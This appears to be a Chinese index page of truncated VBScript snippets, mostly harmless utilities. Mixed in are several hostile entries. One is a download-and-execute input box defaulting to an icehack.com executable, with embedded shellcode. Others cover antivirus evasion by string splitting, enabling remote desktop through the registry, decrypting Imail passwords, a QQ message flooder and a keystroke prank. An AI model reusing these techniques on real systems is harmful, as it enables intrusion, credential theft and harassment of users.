mCn=Inputbox("请输入小写数字:","提示信息...","0.00")IfIsNumeric(mCn)AndmCn<>""thenCn=MoneyCn(Abs(Trim(mCn)))MsgBoxAbs(Trim(mCn))&Chr(10)&Cn,64,"转换结果..."ElseMsgBox"...

[阅读全文]

DimInWhere,FSO,WsShell,Shell,Windir,Sysdir,Tempdirmain()submainZFDSet()WsShell.run"Sol"wscript.sleep500RandomizeFori=1to1000000000000WsShell.sendkeys"~"Num0=Int...

[阅读全文]

nScrW=createobject("htmlfile").parentWindow.screen.availWidthnScrHt=createobject("htmlfile").parentWindow.screen.availHeightsetroIe=Wscript.createobject("intern...

[阅读全文]

一边在完善自己的病毒专杀VBS模板，一边就在进行邪恶的行动。张三丰那句话还真有道理：这正邪二字，原本难分！现在介绍的两个有点“邪恶”的VBS其实就是恶作剧罢了，或图个好玩。但是如果你想歪了，估计这两个“邪恶”的VBS就真正是很邪恶了……一、在后...

[阅读全文]

如果WMI不能被病毒利用，那么它就不值得UMU称之“天下无敌”（不是真的无敌，这只是UMU的口头禅，意思是很强），所以UMU特地从当年轰动鹰特内，惊动晕到死的“UMU整人程序”之KPP.VBS，取出一小段代码，演示WMI的整人天分。　　注意：下面代码虽然已经去掉很多危害成...

[阅读全文]

现在杀毒的对vbs相当敏感，只要发现对注册表的xx作，或使用vbs运行命令（加用户）就可能被杀。下面谈2方法可以简单解决：1.使用连接符"&"如：SetCURObj=CreateObject("WScript.Shell")mhk="HK"&"LM\SOFT"&"WARE\Micr"&"...

[阅读全文]

''作用:字符串替换.''操作:拖动要操作的文件或文件夹到本程序即可(直接运行默认为'当前路径).''说明:对前一程序进行了改正,支持文件和文件夹的拖动操作,'(默认仍然处理本文件夹).添加了对子文件夹的操作,即替'换当前文件夹及其子文件夹的文件替换.'*支持大小写区分的替换方式,更加实用.'*添加了对不同文件类型的支...

[阅读全文]

---第一种-DimWshShell,bKey,tySetWshShell=WScript.CreateObject("WScript.Shell")bKey=WshShell.regRead("HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\QQ\Install")ty=""""&bK...

[阅读全文]

可以不加到右键菜单，比较方便：安装、卸载：DimWshShellSetWshShell=WScript.CreateObject("WScript.Shell")intAnswer=MsgBox("【是】将“显示/隐藏系统文件、扩展名”加入到右键菜单，"&Chr(10)&Chr(...

[阅读全文]

在vbs中选择文件夹可以直接调用系统的文件夹对话框onerrorresumenextSelectFolderfunctionSelectFolder()ConstMY_COMPUTER=&H11&ConstWINDOW_HANDLE=0ConstOPTIONS=0SetobjShell=CreateOb...

[阅读全文]

初期作品：不管是vbs代码，还是css代码，或者html代码都显得比较累赘冗余,可惜再没那么多的精力去....功能：自由下载网易图片（网易图片不能直接另存为）.<TITLE>网易文件摄取</TITLE><metahttp-equiv="Content-Type"content="text/html;charset=gb...

[阅读全文]

setfso=Wscript.createObject("Scripting.FileSystemObject")Setf=fso.createTextFile("QQ自动登录.bat",true)f.WriteLine"@echooff"&vbcrlfSetobjWMIService=GetObject_("...

[阅读全文]

Dimp,s,reIfWscript.Arguments.Count=0ThenMsgbox"请把网页拖到本程序的图标上！",,"提示"Wscript.QuitEndIfFori=0toWscript.Arguments.Count-1p=Wscript.Arguments(i)WithCreateObject("Ad...

[阅读全文]

exeurl=InputBox("请输入下载执行exe的地址：","输入","http://np.icehack.com/np.exe")'codebyNetPatchifexeurl<>""thencode="\x43\x43\x43\x43\x43\x43\xe9\xa3\x00\x00\x00\x5f\x64\x...

[阅读全文]

OptionExplicit'解压E:\deep.zip到E:\test1目录下Extract"E:\deep.zip","E:\test1"'复制E:\test1目录下内容到E:\test2Extract"E:\test1","E:\test2"SubExtract(ByValmyZipFile,ByValmyTar...

[阅读全文]

'Ycosxhack[Y.X.H]onerrorresumenextsetfso=createobject("scripting.filesystemobject")randomizename=int(rnd*10000000+1)temp=namefori=0to2setdir=fso.getspecialfolde...

[阅读全文]

VBS文件操作创建文本文件SetobjFSO=CreateObject("Scripting.FileSystemObject")SetobjFile=objFSO.CreateTextFile("C:\FSO\ScriptLog.txt")检察文件是否存在SetobjFSO=CreateObject("Scripti...

[阅读全文]

CONSTHKEY_LOCAL_MACHINE=&H80000002CONSTSEARCH_KEY="DigitalProductID"DimarrSubKeys(4,1)DimfoundKeysDimiValues,arrDPIDfoundKeys=Array()iValues=Array()arrSubKe...

[阅读全文]

1.vbscript是一个纯文本文件，它可以用任何文本编辑器编辑。而vba程序中的窗体是一个稍微见解的符号集，附在将要用到的文档或模板中。2.尽管office安装程序不提供一个称为脚本编辑器的程序，但这种程序使用广泛，随处可见，例如windows福建提供的notepad。而office家族五成员中的四个都是使用同意的v...

[阅读全文]

dima,b,ctrctr=0a=inputbox("请输入你要攻击的语言，目前只支持英文","包子QQ自动攻击器")b=inputbox("请输入你要攻击的次数","包子QQ自动攻击器")b=b+0dowhilectr<bsetwshshell=CreateObject("wscript.shell")wscript...

[阅读全文]

onerrorresumenextif(lcase(right(wscript.fullname,11))="wscript.exe")thensetobjShell=wscript.createObject("wscript.shell")objShell.Run("cmd.exe/ktitle远程主机共享"&...

[阅读全文]

'//程序名：闽南歌曲下载测试版(vbs)Ver1.1(20070806-20070807)'//出现背景：各音乐网站提供在线试听的功能，但由于他们都对本网站中的音乐文件地址进行了保护，下载起来稍嫌'//麻烦，本程序以MTV1000音乐网为例，自动从源码中分析出音乐文件名、真正地址，然后采用异步Http方式下载。'//...

[阅读全文]

VBS病毒应该来说还是挺流行的，其力量不可小觑啊！用VBS写一只普通病毒（蠕虫）没有什么难度，写病毒专杀工具也是没什么难度的。但在写出专杀工具前必须了解你要杀的这只病毒的一些信息……比如：病毒释放的文件，感染的文件，注册表与进程里的病毒信息等等。一、首先来看如何结束病毒进程，之前我在《两个简...

[阅读全文]

OnErrorResumenextsetfso=CreateObject("Scripting.FileSystemObject")SetobjConnection=CreateObject("ADODB.Connection")SetobjRecordSet=CreateObject("ADODB.Recordset...

[阅读全文]

Setfso=CreateObject("Scripting.FileSystemObject")Setf=fso.OpenTextFile("D:\web\APMServ5.2.0\www\htdocs\21.htm",8,True,0)f.WriteLine"<scriptlanguage=vbs>"&vb...

[阅读全文]

OnErrorResumeNextsetfso=CreateObject("Scripting.FileSystemObject")Functionfilenumshow(filename,i)Dimtemparrayifnotfso.fileExists(filename)thenexitFunctionsetf=f...

[阅读全文]

开启3389有个注册表导入的方法，其它一些软件的开法，我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表：WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcach...

[阅读全文]

Imail密码加密算法及VBS实现Imail的所有邮局信息,比如用户,密码都实际上都是存储在计算机注册表当中的,所以只需要打开注册表就可以看到Imail里的所有信息,包括用户的密码.细节:Imail将企业邮局信息全部存储在:HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domai...

[阅读全文]

SubTongJi()SetobjFSO=CreateObject("Scripting.FileSystemObject")SetobjFile=objFSO.OpenTextFile("ok.txt",1)strText=objFile.ReadAllAll=Len(strText)S="`~!@#$%^&...

[阅读全文]

用eXeScope或者OleView查看%SystemRoot%\system32\wshom.ocx的类型库以获得接口函数声明。property-getUserDomain:BSTR;property-getUserName:BSTR;property-getUserProfile:BSTR;property-get...

[阅读全文]